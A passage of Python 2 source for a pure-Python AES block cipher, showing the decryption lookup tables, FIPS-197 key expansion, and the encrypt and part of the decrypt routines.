T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
|
||||
|
||||
# Transformations for decryption key expansion
|
||||
U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
|
||||
U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
|
||||
U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
|
||||
U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
|
||||
|
||||
def __init__(self, key):
|
||||
|
||||
if len(key) not in (16, 24, 32):
|
||||
raise ValueError('Invalid key size')
|
||||
|
||||
rounds = self.number_of_rounds[len(key)]
|
||||
|
||||
# Encryption round keys
|
||||
self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
|
||||
|
||||
# Decryption round keys
|
||||
self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
|
||||
|
||||
round_key_count = (rounds + 1) * 4
|
||||
KC = len(key) // 4
|
||||
|
||||
# Convert the key into ints
|
||||
tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
|
||||
|
||||
# Copy values into round key arrays
|
||||
for i in xrange(0, KC):
|
||||
self._Ke[i // 4][i % 4] = tk[i]
|
||||
self._Kd[rounds - (i // 4)][i % 4] = tk[i]
|
||||
|
||||
# Key expansion (fips-197 section 5.2)
|
||||
rconpointer = 0
|
||||
t = KC
|
||||
while t < round_key_count:
|
||||
|
||||
tt = tk[KC - 1]
|
||||
tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
|
||||
(self.S[(tt >> 8) & 0xFF] << 16) ^
|
||||
(self.S[ tt & 0xFF] << 8) ^
|
||||
self.S[(tt >> 24) & 0xFF] ^
|
||||
(self.rcon[rconpointer] << 24))
|
||||
rconpointer += 1
|
||||
|
||||
if KC != 8:
|
||||
for i in xrange(1, KC):
|
||||
tk[i] ^= tk[i - 1]
|
||||
|
||||
# Key expansion for 256-bit keys is "slightly different" (fips-197)
|
||||
else:
|
||||
for i in xrange(1, KC // 2):
|
||||
tk[i] ^= tk[i - 1]
|
||||
tt = tk[KC // 2 - 1]
|
||||
|
||||
tk[KC // 2] ^= (self.S[ tt & 0xFF] ^
|
||||
(self.S[(tt >> 8) & 0xFF] << 8) ^
|
||||
(self.S[(tt >> 16) & 0xFF] << 16) ^
|
||||
(self.S[(tt >> 24) & 0xFF] << 24))
|
||||
|
||||
for i in xrange(KC // 2 + 1, KC):
|
||||
tk[i] ^= tk[i - 1]
|
||||
|
||||
# Copy values into round key arrays
|
||||
j = 0
|
||||
while j < KC and t < round_key_count:
|
||||
self._Ke[t // 4][t % 4] = tk[j]
|
||||
self._Kd[rounds - (t // 4)][t % 4] = tk[j]
|
||||
j += 1
|
||||
t += 1
|
||||
|
||||
# Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
|
||||
for r in xrange(1, rounds):
|
||||
for j in xrange(0, 4):
|
||||
tt = self._Kd[r][j]
|
||||
self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
|
||||
self.U2[(tt >> 16) & 0xFF] ^
|
||||
self.U3[(tt >> 8) & 0xFF] ^
|
||||
self.U4[ tt & 0xFF])
|
||||
|
||||
def encrypt(self, plaintext):
|
||||
'Encrypt a block of plain text using the AES block cipher.'
|
||||
|
||||
if len(plaintext) != 16:
|
||||
raise ValueError('wrong block length')
|
||||
|
||||
rounds = len(self._Ke) - 1
|
||||
(s1, s2, s3) = [1, 2, 3]
|
||||
a = [0, 0, 0, 0]
|
||||
|
||||
# Convert plaintext to (ints ^ key)
|
||||
t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
|
||||
|
||||
# Apply round transforms
|
||||
for r in xrange(1, rounds):
|
||||
for i in xrange(0, 4):
|
||||
a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
|
||||
self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
|
||||
self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
|
||||
self.T4[ t[(i + s3) % 4] & 0xFF] ^
|
||||
self._Ke[r][i])
|
||||
t = copy.copy(a)
|
||||
|
||||
# The last round is special
|
||||
result = [ ]
|
||||
for i in xrange(0, 4):
|
||||
tt = self._Ke[rounds][i]
|
||||
result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
|
||||
result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
|
||||
result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
|
||||
result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
|
||||
|
||||
return result
|
||||
|
||||
def decrypt(self, ciphertext):
|
||||
'Decrypt a block of cipher text using the AES block cipher.'
|
||||
|
||||
if len(ciphertext) != 16:
|
||||
raise ValueError('wrong block length')
|
||||
|
||||
rounds = len(self._Kd) - 1
|
||||
(s1, s2, s3) = [3, 2, 1]
|
||||
a = [0, 0, 0, 0]
|
||||
|
||||
# Convert ciphertext to (ints ^ key)
|
||||
t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
|
||||
|
||||
# Apply round transforms
|
||||
for r in xrange(1, rounds):
|
||||
for i in xrange(0, 4):
|
||||
a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
|
||||
self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
|
||||
self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
|
||||
self.T8[ t[(i + s3) % 4] & 0xFF] ^
|
||||
self._Kd[r][i])
|
||||
t = copy.copy(a)
|
||||
|
||||
# The last round is special
|
||||
result = [ ]
|
||||
for i in xrange(0, 4):
|
||||
tt = self._Kd[rounds][i]
|
||||
result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
|
||||
result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
|
